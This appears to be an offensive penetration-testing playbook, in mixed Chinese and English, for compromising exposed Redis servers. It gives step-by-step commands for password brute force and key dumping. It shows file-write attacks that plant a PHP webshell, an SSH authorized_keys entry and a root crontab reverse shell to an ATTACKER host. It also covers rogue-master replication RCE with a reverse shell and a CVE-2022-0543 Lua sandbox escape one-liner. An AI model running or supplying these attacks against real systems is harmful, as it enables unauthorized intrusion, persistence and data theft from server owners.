In-depth reference
- Redis RCE techniques, Lua sandbox escape CVE, SSRF combined exploitation details -> read references/redis-techniques.md
Overall decision tree
发现 6379 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 版本信息
│ ├─ 手动连接测试 (nc / redis-cli)
│ └─ 是否需要认证?
│ ├─ 无认证 -> 直接进入 Phase 3
│ └─ 需认证 -> Phase 2
├─ Phase 2: 认证与爆破
│ ├─ 默认密码尝试
│ ├─ 爆破 (hydra / nmap / medusa)
│ └─ AUTH <username> <password>
├─ Phase 3: 信息提取
│ ├─ INFO -> 系统信息、版本、内存、keyspace
│ ├─ CONFIG GET * -> 配置信息 (目录、文件名)
│ ├─ CLIENT LIST -> 连接客户端
│ └─ 数据库遍历 -> SELECT / KEYS * / GET
├─ Phase 4: 文件写入利用
│ ├─ Webshell 写入 (需知 Web 根目录)
│ ├─ SSH authorized_keys 写入
│ ├─ Crontab 写入
│ └─ 模板引擎覆盖
├─ Phase 5: 主从复制 RCE
│ ├─ redis-rogue-server -> 自动化 RCE
│ └─ 手动 SLAVEOF + MODULE LOAD
├─ Phase 6: Lua 沙箱逃逸
│ ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸)
│ ├─ CVE-2025-49844 (parser UAF)
│ ├─ CVE-2025-46817 (unpack 整数溢出)
│ └─ CVE-2025-46818 (元表跨用户代码执行)
└─ SSRF 场景
└─ 通过 SSRF 与 Redis 通信 (CRLF 注入)
Phase 1: Service discovery
1.1 Automatic enumeration
# Nmap Redis 信息脚本
nmap --script redis-info -sV -p 6379 <IP>
# Metasploit
msf> use auxiliary/scanner/redis/redis_server
1.2 Manual connection
# nc 直接连接
nc -vn <IP> 6379
# redis-cli 连接
redis-cli -h <IP>
# 第一个命令: INFO
# 如果返回 -NOAUTH Authentication required. 则需要认证
Phase 2: Authentication and brute force
2.1 Redis authentication mechanisms
Redis has no authentication by default. It can be configured with password only (requirepass) or username+password (masteruser)。
# 认证命令
AUTH <password>
AUTH <username> <password>
# 成功返回 +OK
2.2 Credential attack decision tree
认证测试
├─ 直接连接 -> INFO
│ ├─ 返回信息 -> 无需认证 -> Phase 3
│ └─ 返回 -NOAUTH -> 需要认证
├─ 爆破
│ ├─ hydra -P passwords.txt redis://<IP>
│ ├─ nmap --script redis-brute -p 6379 <IP>
│ └─ medusa -h <IP> -P passwords.txt -M redis
└─ 认证成功
└─ 进入 Phase 3
Phase 3: Information extraction
3.1 Basic information gathering
INFO # 系统、版本、内存、keyspace 信息
CLIENT LIST # 当前连接的客户端
CONFIG GET * # 获取所有配置
CONFIG GET dir # 当前工作目录 (文件写入关键)
CONFIG GET dbfilename # 数据库文件名
3.2 Database traversal
INFO keyspace # 查看哪些数据库有数据
SELECT <db_number> # 切换数据库 (从 0 开始)
KEYS * # 列出所有键
GET <key> # 获取字符串值
TYPE <key> # 获取键类型
LRANGE <key> 0 -1 # 列表类型
HGETALL <key> # 哈希类型
DUMP <key> # 序列化导出
3.3 Real-time monitoring
MONITOR # 实时监控所有命令 (可捕获凭据)
SLOWLOG GET 25 # 最慢的 25 条查询
Phase 4: File writing exploitation
4.1 Writing decision tree
CONFIG GET dir 获取当前目录
├─ 有 Web 服务
│ └─ Webshell 写入
│ ├─ CONFIG SET dir /usr/share/nginx/html
│ ├─ CONFIG SET dbfilename redis.php
│ ├─ SET test "<?php phpinfo(); ?>"
│ └─ SAVE
├─ 有 SSH 服务
│ └─ SSH 密钥写入
│ ├─ 生成 SSH 密钥对: ssh-keygen -t rsa
│ ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n"
│ ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh)
│ ├─ CONFIG SET dbfilename authorized_keys
│ └─ SAVE
├─ Linux 系统
│ └─ Crontab 写入
│ ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
│ ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu)
│ │ 或 CONFIG SET dir /var/spool/cron/ (CentOS)
│ ├─ CONFIG SET dbfilename root
│ └─ SAVE
└─ 模板引擎环境
└─ 覆盖模板文件 -> 注入模板表达式 -> RCE
4.2 Webshell writing
redis-cli -h <IP>
> CONFIG SET dir /usr/share/nginx/html
> CONFIG SET dbfilename redis.php
> SET test "<?php phpinfo(); ?>"
> SAVE
4.3 SSH key writing
# 1. 生成密钥
ssh-keygen -t rsa -f /tmp/redis_rsa
# 2. 导入公钥到 Redis
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key
# 3. 写入 authorized_keys
redis-cli -h <IP>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE
# 4. SSH 登录
ssh -i /tmp/redis_rsa redis@<IP>
Phase 5: Master-slave replication RCE
5.1 Principle
Set the target Redis as a slave of an attacker-controlled master, push a malicious .so module through replication, then load and execute it.
5.2 Automated exploitation
# redis-rogue-server — 自动获取 shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
5.3 Manual exploitation
# 1. 编译恶意模块
# https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
# 2. 让目标成为 slave
redis-cli -h <TARGET>
> SLAVEOF <ATTACKER_IP> 6379
# 3. 在攻击者 Redis 上设置模块数据
# 4. 加载模块
> MODULE LOAD /path/to/module.so
> system.exec "id"
> system.rev <ATTACKER_IP> 9999
# 5. 清理
> MODULE UNLOAD mymodule
> SLAVEOF NO ONE
Phase 6: Lua sandbox escape
6.1 Escape decision tree
Redis 版本已知 + 可执行 EVAL
├─ Debian/Ubuntu + Redis < 6.2.x 修补前
│ └─ CVE-2022-0543 — package.loadlib 逃逸
├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20
│ ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态)
│ ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽)
│ └─ CVE-2025-46818 — 元表污染 (跨用户代码执行)
└─ 其他版本
└─ searchsploit redis lua
6.2 CVE-2022-0543
# Debian/Ubuntu 特定: lua 库未正确沙箱化
redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
SSRF combined exploitation
When an SSRF vulnerability is found and Redis exists on the target's internal network, Redis commands can be sent through SSRF:
SSRF + Redis
├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令
├─ 利用 CRLF 注入构造 Redis 命令
└─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE